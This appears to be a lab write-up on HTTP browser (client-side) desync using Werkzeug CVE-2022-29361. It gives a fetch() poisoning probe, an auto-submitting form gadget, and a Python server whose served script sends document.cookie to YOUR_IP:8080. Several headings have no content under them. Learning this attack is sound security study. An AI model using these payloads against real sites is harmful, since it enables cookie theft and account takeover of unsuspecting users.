HTTP Browser Desync

Overview

HTTP browser desync, often called client-side desynchronization, abuses how a vulnerable server handles persistent browser connections. The attacker poisons the browser's request queue so that the victim's next legitimate request is replaced or prefixed with attacker-controlled bytes. In practice, this can turn a same-origin browser session into a delivery mechanism for redirects, XSS, session theft, or other account takeover paths.

Keep-Alive and Why It Matters

HTTP keep-alive lets the client reuse a single TCP connection for multiple requests and responses. That improves performance, but it also means leftover bytes on the connection can affect what happens next.

If the server mishandles one request body, the next request on that same browser connection can be desynchronized.

HTTP Pipelining Concept

At a high level, the server has to know where one request ends and the next begins. In HTTP/1.1 that usually depends on boundaries such as Content-Length.

If the server ignores or misinterprets those boundaries, attacker-controlled bytes can remain queued and be treated as the beginning of the next request.

The Browser Desync Model

The attack usually happens in two stages:

What the Poisoned Queue Looks Like

A common pattern is a POST request whose body secretly begins with a second request such as GET /redirect HTTP/1.1. If the backend fails to consume the body safely, the hidden request remains in the connection queue.

When the browser later sends another same-origin request, the queued request is processed first.

Why This Is a Browser Problem

The power of the attack comes from connection reuse inside the victim's browser. If you can make the victim send the poisoning request and the follow-up request over the same persistent connection, you can hijack the sequencing of what the server sees.

Because the traffic is same-origin in the target scenario, browser cookie-sharing rules can work in the attacker's favor.

Werkzeug Case Study

The source material demonstrates the issue with Werkzeug v2.1.0 and CVE-2022-29361. The key idea is that keep-alive handling allowed a poisoned request body to persist across requests when the server was configured in a way that reused connections.

Simple Browser Probe

fetch('http://MACHINE_IP:5000/', {
    method: 'POST',
    body: 'GET /redirect HTTP/1.1\r\nFoo: x',
    mode: 'cors',
})

This uses the browser itself to poison the connection. If the next page refresh produces behavior consistent with the hidden /redirect request instead of the expected route, the server is likely vulnerable.

Why fetch() Helps

The browser keeps ownership of the connection, which is exactly what the attacker needs. Using fetch() makes it possible to send the initial poisoning request from JavaScript and rely on the same browser connection for the next action.

The source also uses mode: 'cors' to influence how the browser handles the follow-up behavior and visible errors.

Exploit Chaining

By itself, browser desync may only give you a redirect, a 404, or swapped response behavior. The real impact comes from chaining it into a payload delivery mechanism.

One useful path is to make the victim browser fetch attacker-controlled JavaScript on the next request, turning the desync into XSS and cookie theft.

Form Gadget Pattern

<form id="btn" action="http://challenge.thm/"
    method="POST"
    enctype="text/plain">
<textarea name="GET http://YOUR_IP:1337 HTTP/1.1
AAA: A">placeholder1</textarea>
<button type="submit">placeholder2</button>
</form>
<script> btn.submit() </script>

This style of gadget abuses a browser-generated form submission to poison the connection and overwrite the bytes of the following request.

Why the Form Works

Attacker-Controlled Payload Server

from http.server import BaseHTTPRequestHandler, HTTPServer

class ExploitHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/':
            self.send_response(200)
            self.send_header("Access-Control-Allow-Origin", "*")
            self.send_header("Content-type", "text/html")
            self.end_headers()
            self.wfile.write(b"fetch('http://YOUR_IP:8080/' + document.cookie)")

HTTPServer(('', 1337), ExploitHandler).serve_forever()

The desync redirects the victim browser to this hostile server, which returns a JavaScript payload that exfiltrates the victim's cookie.

Challenge Flow

What To Look For

References

Mitigation

Key Takeaways